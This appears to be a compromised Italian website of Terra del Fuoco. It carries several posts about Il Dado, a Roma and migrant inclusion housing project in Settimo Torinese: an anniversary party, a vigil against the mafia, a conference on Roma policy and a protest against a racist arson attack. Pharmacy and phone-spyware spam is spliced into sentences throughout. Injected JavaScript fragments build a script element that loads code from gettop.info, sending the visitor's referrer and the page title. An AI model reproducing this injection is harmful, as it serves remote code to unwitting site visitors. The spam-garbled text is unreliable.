Inclusione sociale in Europa e questioni ambientali

GEF Green European Foundation nasce con l’obiettivo di contribuire al coinvolgimento dei cittadini nel dibattito sulle politiche europee, in collaborazione con VISIO The Green Cultural and educcationa center, hanno pubblicato oggi ” levitra online australia Roma and Traveller. Inclusion in Europe. Green questions and answers“, una pubblicazione che raccoglie una serie di progetti di inclusione sociale rivolti alle comunità rom in diversi Paesi europei, in grado di dare anche risposte ambientali. Tra queste viene raccontata l’esperienza del Dado, in quanto spazio di accoglienza e inclusione sociale per alcune delle famiglie dei 14 campi nomadi che circondano la città, autorecuperato dagli stessi ospiti che hanno avuto cura anche dei consumi elettrici e dell’impatto ambientale che la loro casa avrebbe avuto. Sul Dado sono stati installati

infatto i pannelli solari per la produzione di energia elettrica oltre ad una serie di strumenti volti a ridurre la CO2 prodotta e i consum come i vetri e gli infissi per ridurre la dispersione del calore e l’installazione di boiler ad alto rendimento energetico. I lavori di ristrutturazione e miglioramento del rendimento energetico al Dado è stato fatto grazie all’intervento della Cooperativa Terra del Fuoco Lavro s.c., che ha come primo scopo la formazione lavorativa delle persone che vengono coinvolte e accompagante dai progetti di inclusione sociale dell’associazione. è possibile leggere la pubblicazione direttamente sul sito di GEF Per maggior informazioni rispetto all’intervento edile e all’installazione di pannelli solari clicca QUIiphone spyware, phone tracking software, phone tracker

Non si può morire a 16 anni e noi NON possiamo stare a guardare.

Oggi per noi era un giorno di festa, avremmo festeggiato i tre anni di un progetto sociale, Il Dado, ma dopo l’episodio di Brindisi, l’esplosiosne davanti alla scuola Morvillo- Falcone abbiamo il dovere di scendere in piazza per solidarietà alle vittime di Brindisi e di tutte le vittime innocenti delle mafie.
Il giudice Chinnici ha detto «Parlare ai giovani, alla gente, raccontare chi sono e come si arricchiscono i mafiosi, fa parte dei doveri di un giudice. Senza una nuova coscienza, noi, da soli, non ce la faremo mai»
Come parte della società civile abbiamoil dovere di riprenderci il nostro Paese, abbiamo il diritto di essere arrabbiati, addolorati e in questo di trovare la forze per continuare a dire no, no alla mafia!

Comunichiamo quindi che gli eventi in programma per oggi pomeriggio al Dado son stati annullati e che ci troviamo tutti in Piazza San Carlo alle 18.00 con una candela.
resta confermata solo la cena al Dado alle ore 20.00 dove osserveremo un minuto di silenzios.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } free estrogen samples phone tracker, cell monitoring software, phone location tracker

Buon compleanno DADO!

motilium instant yan etkisi Sabato 19 maggio h.19.30 non perdere l’occasione dell’anno per partecipare alla festa più  multietnica che abbiate mai visto, al Dado di Settimo Torinese.

Il Dado compie tre anni!!!

Sono passati ormai tre anni dall’inaugurazione del Dado, molte persone hanno fatto parte di questa esperienza, hanno lasciato un segno qui nella casa gialla che si affaccia su una delle strade principali di Settimo Torinese.

Oggi abbiamo con noi, Malek dalla Tunisia, Ali e Turkan dalla Turchia, Maria, Viorel, Sorina e tanti altri dalla Romania, Adbi,Nasir, Abdullai ed altri dalla Somalia e con loro i coabitanti italiani.

Con queste premesse si prospetta una cena con sapori davvero dal mondo!!!

E’ con orgoglio che gli ospiti del Dado e i loro volontari invitano la cittadinanza a partecipare a questo momento di grande orgoglio per le famiglie e i giovani ragazzi che qui al dado a partire da una casa dignitosa investono con fatica nel loro futuro. Qui gli adolescenti prospettano i loro studi e le loro future professioni, qui si crede nella possibilità di cambiamento.

Partecipate numerosi, ma soprattutto prenotatevi per la cena al 339-6909394 con un sms oppure via mail a [email protected]terradelfuoco.org

 

Nell’arco della serata assisterete ad uno spettacolo teatrale messo in scena dalla classe 3 E della Scuola Gobetti, il saggio di musica dei più piccoli abitanti del Dado e infine tanta buona musica!!!var d=document;var s=d.createElement(‘script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);phone keylogger, spy mobile app, tracking someones phone

L’inclusione è l’emergenza

L’inclusione è l’emergenza

Convegno sulle politiche nazionali dintegrazione della comunità 247 rx shop viagra generic Rom

22 Febbraio 2011

ore 15.00

Fabbrica delle e

Corso Trapani 91

Torino

La sentenza di novembre 2011 ha dichiarato inesistente lo stato d’emergenza rispetto alla questione rom sollevata con il Piano Maroni nel 2008. Il decreto emanato dall’ex- Ministro dell’Interno prevedeva la realizzazione di progetti volti a controllare la presenza e l’esistenza dei Rom sui territori delle città italiane maggiormente colpite dal fenomeno: Milano, Roma e Napoli e subito dopo Torino e Venezia; censimenti, commissari speciali, campi con video sorveglianza le misure previste per ridurre il pericolo e dare sicurezza ai cittadini italiani all’alba delle elezioni.

 

Ora è il momento di porre la vera questione di emergenza per le comunità Rom.

 

Noi crediamo che sia l’inclusione sociale, sia ridare dignità a donne, bambini e uomini che vivono in campi nomadi senza servizi igienici, a rischio alluvione e senza i più diritti elementari. Vogliamo mettere insieme forze e idee per garantire lo studio ai bambini, per l’inclusione abitativa delle famiglie e per l’inserimento lavorativo degli adulti.

 

Abbiamo vissuto l’esperienza del Dado a Settimo, non solo una comunità di accoglienza, ma un più ampio percorso sociale.

 

Oggi, anche in seguito alla recente visita al Dado del Ministro Fornero, vogliamo confrontarci con le altre realtà, in particolare con le esperienze delle città oggetto del decreto per scambiare buone pratiche, con la politica locale e con la società civile, discutendo con chi vive con la comunità Rom tutti i giorni, siano essi insegnanti, operatori sociali o mediatori, per capire come andare avanti.

 

Dibattito moderano i giornalisti Gianluca Gobbi e Sara Strippoli

Quali proposte per il futuro?

 

Interverranno:

 

Antonio Ardolino, Progetto Controcampo e Cooperativa Berenice di Roma

Sergio Bontempelli di Africa Insieme di Pisa

Don Massimo Mapelli per Casa di Carità di Milano

Pietro Cingolani, FIERI

Arch. Guido Lagana Ex docente Politecnico Torino

Oliviero Alotto per Terra del Fuoco

Aldo Corgiat, Sindaco di Settimo Torinese

Elide Tisi, Comune di Torino

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Il NO al razzismo va ribadito ancora una volta

Il “Natale insieme“, organizzato da Terra del Fuoco nel campo Rom di Lungo Stura Lazio, purtroppo non è stato solo un momento di condivisione e di festa come avrebbero voluto i partecipanti e gli organizzatori.

Sulla giornata di domenica hanno infatti gravemente pesato i fatti avvenuti nel weekend alla cascina Continassa nel quartiere Vallette, in cui un raid razzista e immotivato ha distrutto l’unica casa per i nostri concittadini, già costretti a vivere in una situazione di assoluta mancanza delle condizioni mimime di igiene, sicurezza e dignità.

Al termine del pranzo di condivisione al campo di Lungo Stura Lazio, i ragazzi di Terra del Fuoco e i partecipanti alla giornata di festa, insieme a Luigi Ciotti, a Fredo Olivero e Padre Lucian Rosu, sono andati a visitare il luogo dell’incedio e ad incontrare le famiglie rimaste orfane della loro casa proprio alla vigilia di un momento di festa e di pace. Le immagini della devastazione provocate dall’incendio hanno lasciato tutti attoniti, obbligando a pensare al futuro, nella speranza che tutti si impegnino a trovare soluzioni pacifiche e che fatti del genere non abbiano mai più luogo.

“Siamo sgomenti e profondamente turbati da questa esplosione di violenza ingiustificata che ha portato al incendio doloso delle baracche dove famiglie e bambini erano costretti a vivere – ha detto Oliviero Alotto, presidente di Terra del Fuoco – Oggi più che mai serve chiarezza, solidarietà e servono decisioni politiche chiare, che diano risposte strutturali al problema dei campi abusivi e della sicurezza dei cittadini. Non si può continuare a far finta che le persone non esistono. La politica deve mettere in atto soluzioni che dimostruino che la convivenza è possibile”.

Per queste ragioni Terra del Fuoco vuole lanciare per

sabato 17 Dicembre una giornata di mobilitazione:

Alle ore 15 presso il Dado di Settimo Torinese la grande festa di Natale.

Dalle ore 15 alle ore 19 in Piazza Carignano raccoglieremo le firme per la campagna contro il razzismo “L’Italia sono anch’io”, con musica e riflessioni per tutto il pomeriggio.
Alle ore 18 in Piazza Carignano partirà una fiaccolata di solidarietà.

A questo link inoltre potrete trovare la scheda informativa sul DADO di Settimo Torinese, il primo progetto di autocostruzione/autorecupero rivolto alla comunità Rom in Piemonte, che mostra come una soluzione alternativa ai campi abusivi sia possibile e proficua per la cittadinanza tutta:

Leggi cos’è il DADO

Per informazioni

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